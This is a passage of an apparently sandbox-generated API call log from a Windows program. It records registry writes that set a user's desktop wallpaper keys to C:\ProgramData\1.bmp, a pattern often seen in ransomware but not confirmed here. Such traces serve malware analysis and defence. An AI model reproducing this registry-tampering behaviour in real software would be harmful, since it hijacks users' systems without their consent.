[0176.741] SysStringByteLen (bstr="慗汬慰数卲祴敬") returned 0xe [0176.741] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5e2c, cbMultiByte=15, lpWideCharStr=0x14b4fbc, cchWideChar=29 | out: lpWideCharStr="WallpaperStyle") returned 15 [0176.742] SysStringByteLen (bstr="0") returned 0x1 [0176.742] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5634, cbMultiByte=1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0176.742] SysStringByteLen (bstr="0") returned 0x1 [0176.742] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5634, cbMultiByte=2, lpWideCharStr=0x53a5384, cchWideChar=3 | out: lpWideCharStr="0") returned 2 [0176.742] RegFlushKey (hKey=0x0) returned 0x6 [0176.742] GetLastError () returned 0x0 [0176.742] RegCloseKey (hKey=0x0) returned 0x6 [0176.742] GetLastError () returned 0x0 [0176.742] SysStringLen (param_1=" ") returned 0x104 [0176.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=260, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 260 [0176.742] SysStringLen (param_1=" ") returned 0x104 [0176.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=261, lpMultiByteStr=0x14e628c, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 261 [0176.742] RegEnumKeyA (in: hKey=0x80000003, dwIndex=0x3, lpName=0x14e628c, cchName=0x104 | out: lpName="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 0x0 [0176.742] GetLastError () returned 0x0 [0176.742] SysStringByteLen (bstr="ⵓⴱⴵㄲ㌭㠳㘸㤷㜹ⴳ㤳〳㔷㈷㔲㌭㜷㄰ㄵ㘵ⴴ〱〰 ††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††") returned 0x104 [0176.742] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14e628c, cbMultiByte=260, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 260 [0176.742] SysStringByteLen (bstr="ⵓⴱⴵㄲ㌭㠳㘸㤷㜹ⴳ㤳〳㔷㈷㔲㌭㜷㄰ㄵ㘵ⴴ〱〰 ††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††") returned 0x104 [0176.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14e628c, cbMultiByte=261, lpWideCharStr=0x53ccd0c, cchWideChar=521 | out: lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 261 [0176.743] SysStringLen (param_1="S-1-5-21-3388679973-3930757225-3770151564-1000\\Control Panel\\Desktop") returned 0x44 [0176.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000\\Control Panel\\Desktop", cchWideChar=68, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 68 [0176.743] SysStringLen (param_1="S-1-5-21-3388679973-3930757225-3770151564-1000\\Control Panel\\Desktop") returned 0x44 [0176.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000\\Control Panel\\Desktop", cchWideChar=69, lpMultiByteStr=0x144bb04, cbMultiByte=69, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S-1-5-21-3388679973-3930757225-3770151564-1000\\Control Panel\\Desktop", lpUsedDefaultChar=0x0) returned 69 [0176.743] RegOpenKeyA (in: hKey=0x80000003, lpSubKey="S-1-5-21-3388679973-3930757225-3770151564-1000\\Control Panel\\Desktop", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x720) returned 0x0 [0176.743] GetLastError () returned 0x0 [0176.743] SysStringByteLen (bstr="ⵓⴱⴵㄲ㌭㠳㘸㤷㜹ⴳ㤳〳㔷㈷㔲㌭㜷㄰ㄵ㘵ⴴ〱〰䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x44 [0176.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=68, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 68 [0176.743] SysStringByteLen (bstr="ⵓⴱⴵㄲ㌭㠳㘸㤷㜹ⴳ㤳〳㔷㈷㔲㌭㜷㄰ㄵ㘵ⴴ〱〰䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x44 [0176.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=69, lpWideCharStr=0x1445ffc, cchWideChar=137 | out: lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000\\Control Panel\\Desktop") returned 69 [0176.743] SysStringLen (param_1="0") returned 0x1 [0176.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0176.744] SysStringLen (param_1="0") returned 0x1 [0176.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0", cchWideChar=2, lpMultiByteStr=0x1452454, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0", lpUsedDefaultChar=0x0) returned 2 [0176.744] SysStringLen (param_1="TileWallpaper") returned 0xd [0176.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TileWallpaper", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.744] SysStringLen (param_1="TileWallpaper") returned 0xd [0176.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TileWallpaper", cchWideChar=14, lpMultiByteStr=0x14f5b84, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TileWallpaper", lpUsedDefaultChar=0x0) returned 14 [0176.744] RegSetValueExA (in: hKey=0x720, lpValueName="TileWallpaper", Reserved=0x0, dwType=0x1, lpData="0", cbData=0x1 | out: lpData="0") returned 0x0 [0176.744] GetLastError () returned 0x0 [0176.744] SysStringByteLen (bstr="楔敬慗汬慰数r") returned 0xd [0176.744] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5b84, cbMultiByte=13, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0176.744] SysStringByteLen (bstr="楔敬慗汬慰数r") returned 0xd [0176.744] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5b84, cbMultiByte=14, lpWideCharStr=0x14f5634, cchWideChar=27 | out: lpWideCharStr="TileWallpaper") returned 14 [0176.744] SysStringByteLen (bstr="0") returned 0x1 [0176.744] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1452454, cbMultiByte=1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0176.744] SysStringByteLen (bstr="0") returned 0x1 [0176.744] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1452454, cbMultiByte=2, lpWideCharStr=0x14f5e2c, cchWideChar=3 | out: lpWideCharStr="0") returned 2 [0176.745] RegFlushKey (hKey=0x720) returned 0x0 [0176.930] GetLastError () returned 0x0 [0176.930] RegCloseKey (hKey=0x720) returned 0x0 [0176.930] GetLastError () returned 0x0 [0176.930] SysStringLen (param_1="S-1-5-21-3388679973-3930757225-3770151564-1000\\Control Panel\\Desktop") returned 0x44 [0176.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000\\Control Panel\\Desktop", cchWideChar=68, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 68 [0176.930] SysStringLen (param_1="S-1-5-21-3388679973-3930757225-3770151564-1000\\Control Panel\\Desktop") returned 0x44 [0176.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000\\Control Panel\\Desktop", cchWideChar=69, lpMultiByteStr=0x144265c, cbMultiByte=69, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S-1-5-21-3388679973-3930757225-3770151564-1000\\Control Panel\\Desktop", lpUsedDefaultChar=0x0) returned 69 [0176.931] RegOpenKeyA (in: hKey=0x80000003, lpSubKey="S-1-5-21-3388679973-3930757225-3770151564-1000\\Control Panel\\Desktop", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x720) returned 0x0 [0176.931] GetLastError () returned 0x0 [0176.931] SysStringByteLen (bstr="ⵓⴱⴵㄲ㌭㠳㘸㤷㜹ⴳ㤳〳㔷㈷㔲㌭㜷㄰ㄵ㘵ⴴ〱〰䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x44 [0176.931] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144265c, cbMultiByte=68, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 68 [0176.931] SysStringByteLen (bstr="ⵓⴱⴵㄲ㌭㠳㘸㤷㜹ⴳ㤳〳㔷㈷㔲㌭㜷㄰ㄵ㘵ⴴ〱〰䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x44 [0176.931] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144265c, cbMultiByte=69, lpWideCharStr=0x1445ffc, cchWideChar=137 | out: lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000\\Control Panel\\Desktop") returned 69 [0176.931] SysStringLen (param_1="10") returned 0x2 [0176.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="10", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0176.931] SysStringLen (param_1="10") returned 0x2 [0176.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="10", cchWideChar=3, lpMultiByteStr=0x1452454, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="10", lpUsedDefaultChar=0x0) returned 3 [0176.931] SysStringLen (param_1="WallpaperStyle") returned 0xe [0176.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WallpaperStyle", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0176.931] SysStringLen (param_1="WallpaperStyle") returned 0xe [0176.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WallpaperStyle", cchWideChar=15, lpMultiByteStr=0x14f5634, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WallpaperStyle", lpUsedDefaultChar=0x0) returned 15 [0176.931] RegSetValueExA (in: hKey=0x720, lpValueName="WallpaperStyle", Reserved=0x0, dwType=0x1, lpData="10", cbData=0x2 | out: lpData="10") returned 0x0 [0176.931] GetLastError () returned 0x0 [0176.931] SysStringByteLen (bstr="慗汬慰数卲祴敬") returned 0xe [0176.931] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5634, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0176.931] SysStringByteLen (bstr="慗汬慰数卲祴敬") returned 0xe [0176.932] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5634, cbMultiByte=15, lpWideCharStr=0x14b4fbc, cchWideChar=29 | out: lpWideCharStr="WallpaperStyle") returned 15 [0176.932] SysStringByteLen (bstr="〱") returned 0x2 [0176.932] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1452454, cbMultiByte=2, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0176.932] SysStringByteLen (bstr="〱") returned 0x2 [0176.932] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1452454, cbMultiByte=3, lpWideCharStr=0x14f5b84, cchWideChar=5 | out: lpWideCharStr="10") returned 3 [0176.932] RegFlushKey (hKey=0x720) returned 0x0 [0176.933] GetLastError () returned 0x0 [0176.933] RegCloseKey (hKey=0x720) returned 0x0 [0176.933] GetLastError () returned 0x0 [0176.933] SysStringLen (param_1="S-1-5-21-3388679973-3930757225-3770151564-1000\\Control Panel\\Desktop") returned 0x44 [0176.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000\\Control Panel\\Desktop", cchWideChar=68, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 68 [0176.933] SysStringLen (param_1="S-1-5-21-3388679973-3930757225-3770151564-1000\\Control Panel\\Desktop") returned 0x44 [0176.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000\\Control Panel\\Desktop", cchWideChar=69, lpMultiByteStr=0x144bb04, cbMultiByte=69, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S-1-5-21-3388679973-3930757225-3770151564-1000\\Control Panel\\Desktop", lpUsedDefaultChar=0x0) returned 69 [0176.933] RegOpenKeyA (in: hKey=0x80000003, lpSubKey="S-1-5-21-3388679973-3930757225-3770151564-1000\\Control Panel\\Desktop", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x720) returned 0x0 [0176.933] GetLastError () returned 0x0 [0176.933] SysStringByteLen (bstr="ⵓⴱⴵㄲ㌭㠳㘸㤷㜹ⴳ㤳〳㔷㈷㔲㌭㜷㄰ㄵ㘵ⴴ〱〰䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x44 [0176.934] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=68, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 68 [0176.934] SysStringByteLen (bstr="ⵓⴱⴵㄲ㌭㠳㘸㤷㜹ⴳ㤳〳㔷㈷㔲㌭㜷㄰ㄵ㘵ⴴ〱〰䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x44 [0176.934] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=69, lpWideCharStr=0x1445ffc, cchWideChar=137 | out: lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000\\Control Panel\\Desktop") returned 69 [0176.934] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0176.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0176.934] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0176.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=21, lpMultiByteStr=0x14f5b84, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\1.bmp", lpUsedDefaultChar=0x0) returned 21 [0176.934] SysStringLen (param_1="Wallpaper") returned 0x9 [0176.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Wallpaper", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0176.934] SysStringLen (param_1="Wallpaper") returned 0x9 [0176.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Wallpaper", cchWideChar=10, lpMultiByteStr=0x1452454, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Wallpaper", lpUsedDefaultChar=0x0) returned 10 [0176.934] RegSetValueExA (in: hKey=0x720, lpValueName="Wallpaper", Reserved=0x0, dwType=0x1, lpData="C:\\ProgramData\\1.bmp", cbData=0x14 | out: lpData="C:\\ProgramData\\1.bmp") returned 0x0 [0176.934] GetLastError () returned 0x0 [0176.934] SysStringByteLen (bstr="慗汬慰数r") returned 0x9 [0176.934] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1452454, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0176.934] SysStringByteLen (bstr="慗汬慰数r") returned 0x9 [0176.934] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1452454, cbMultiByte=10, lpWideCharStr=0x14f5634, cchWideChar=19 | out: lpWideCharStr="Wallpaper") returned 10 [0176.934] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0176.934] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5b84, cbMultiByte=20, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0176.935] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0176.935] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5b84, cbMultiByte=21, lpWideCharStr=0x14b4fbc, cchWideChar=41 | out: lpWideCharStr="C:\\ProgramData\\1.bmp") returned 21 [0176.935] RegFlushKey (hKey=0x720) returned 0x0 [0176.947] GetLastError () returned 0x0 [0176.947] RegCloseKey (hKey=0x720) returned 0x0 [0176.947] GetLastError () returned 0x0 [0176.947] SysStringLen (param_1="S-1-5-21-3388679973-3930757225-3770151564-1000\\Control Panel\\Desktop") returned 0x44 [0176.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000\\Control Panel\\Desktop", cchWideChar=68, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 68 [0176.947] SysStringLen (param_1="S-1-5-21-3388679973-3930757225-3770151564-1000\\Control Panel\\Desktop") returned 0x44 [0176.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000\\Control Panel\\Desktop", cchWideChar=69, lpMultiByteStr=0x144265c, cbMultiByte=69, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S-1-5-21-3388679973-3930757225-3770151564-1000\\Control Panel\\Desktop", lpUsedDefaultChar=0x0) returned 69 [0176.948] RegOpenKeyA (in: hKey=0x80000003, lpSubKey="S-1-5-21-3388679973-3930757225-3770151564-1000\\Control Panel\\Desktop", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x720) returned 0x0 [0176.948] GetLastError () returned 0x0 [0176.948] SysStringByteLen (bstr="ⵓⴱⴵㄲ㌭㠳㘸㤷㜹ⴳ㤳〳㔷㈷㔲㌭㜷㄰ㄵ㘵ⴴ〱〰䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x44 [0176.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144265c, cbMultiByte=68, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 68 [0176.948] SysStringByteLen (bstr="ⵓⴱⴵㄲ㌭㠳㘸㤷㜹ⴳ㤳〳㔷㈷㔲㌭㜷㄰ㄵ㘵ⴴ〱〰䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x44 [0176.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144265c, cbMultiByte=69, lpWideCharStr=0x1445ffc, cchWideChar=137 | out: lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000\\Control Panel\\Desktop") returned 69 [0176.948] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0176.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0176.948] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0176.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=21, lpMultiByteStr=0x14f5b84, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\1.bmp", lpUsedDefaultChar=0x0) returned 21 [0176.948] SysStringLen (param_1="OriginalWallpaper") returned 0x11 [0176.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OriginalWallpaper", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0176.948] SysStringLen (param_1="OriginalWallpaper") returned 0x11 [0176.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OriginalWallpaper", cchWideChar=18, lpMultiByteStr=0x14f5634, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OriginalWallpaper", lpUsedDefaultChar=0x0) returned 18 [0176.948] RegSetValueExA (in: hKey=0x720, lpValueName="OriginalWallpaper", Reserved=0x0, dwType=0x1, lpData="C:\\ProgramData\\1.bmp", cbData=0x14 | out: lpData="C:\\ProgramData\\1.bmp") returned 0x0 [0176.949] GetLastError () returned 0x0 [0176.949] SysStringByteLen (bstr="牏杩湩污慗汬慰数r") returned 0x11 [0176.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5634, cbMultiByte=17, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0176.949] SysStringByteLen (bstr="牏杩湩污慗汬慰数r") returned 0x11 [0176.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5634, cbMultiByte=18, lpWideCharStr=0x14b48fc, cchWideChar=35 | out: lpWideCharStr="OriginalWallpaper") returned 18 [0176.949] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0176.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5b84, cbMultiByte=20, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0176.949] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0176.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5b84, cbMultiByte=21, lpWideCharStr=0x14b4fbc, cchWideChar=41 | out: lpWideCharStr="C:\\ProgramData\\1.bmp") returned 21 [0176.949] RegFlushKey (hKey=0x720) returned 0x0 [0176.964] GetLastError () returned 0x0 [0176.964] RegCloseKey (hKey=0x720) returned 0x0 [0176.964] GetLastError () returned 0x0 [0176.964] SysStringLen (param_1="S-1-5-21-3388679973-3930757225-3770151564-1000\\Control Panel\\Desktop") returned 0x44 [0176.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000\\Control Panel\\Desktop", cchWideChar=68, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 68 [0176.964] SysStringLen (param_1="S-1-5-21-3388679973-3930757225-3770151564-1000\\Control Panel\\Desktop") returned 0x44 [0176.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000\\Control Panel\\Desktop", cchWideChar=69, lpMultiByteStr=0x144bb04, cbMultiByte=69, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S-1-5-21-3388679973-3930757225-3770151564-1000\\Control Panel\\Desktop", lpUsedDefaultChar=0x0) returned 69 [0176.964] RegOpenKeyA (in: hKey=0x80000003, lpSubKey="S-1-5-21-3388679973-3930757225-3770151564-1000\\Control Panel\\Desktop", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x720) returned 0x0 [0176.964] GetLastError () returned 0x0 [0176.964] SysStringByteLen (bstr="ⵓⴱⴵㄲ㌭㠳㘸㤷㜹ⴳ㤳〳㔷㈷㔲㌭㜷㄰ㄵ㘵ⴴ〱〰䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x44 [0176.964] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=68, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 68 [0176.964] SysStringByteLen (bstr="ⵓⴱⴵㄲ㌭㠳㘸㤷㜹ⴳ㤳〳㔷㈷㔲㌭㜷㄰ㄵ㘵ⴴ〱〰䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x44 [0176.965] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=69, lpWideCharStr=0x1445ffc, cchWideChar=137 | out: lpWideCharStr="S-1-5-21-3388679973-3930757225-3770151564-1000\\Control Panel\\Desktop") returned 69 [0176.965] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0176.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0176.965] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0176.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=21, lpMultiByteStr=0x14f5634, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\1.bmp", lpUsedDefaultChar=0x0) returned 21 [0176.965] SysStringLen (param_1="ConvertedWallpaper") returned 0x12 [0176.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ConvertedWallpaper", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0176.965] SysStringLen (param_1="ConvertedWallpaper") returned 0x12 [0176.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ConvertedWallpaper", cchWideChar=19, lpMultiByteStr=0x14f5b84, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ConvertedWallpaper", lpUsedDefaultChar=0x0) returned 19 [0176.965] RegSetValueExA (in: hKey=0x720, lpValueName="ConvertedWallpaper", Reserved=0x0, dwType=0x1, lpData="C:\\ProgramData\\1.bmp", cbData=0x14 | out: lpData="C:\\ProgramData\\1.bmp") returned 0x0 [0176.965] GetLastError () returned 0x0 [0176.965] SysStringByteLen (bstr="潃癮牥整坤污灬灡牥") returned 0x12 [0176.965] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5b84, cbMultiByte=18, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 18 [0176.965] SysStringByteLen (bstr="潃癮牥整坤污灬灡牥") returned 0x12 [0176.965] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, 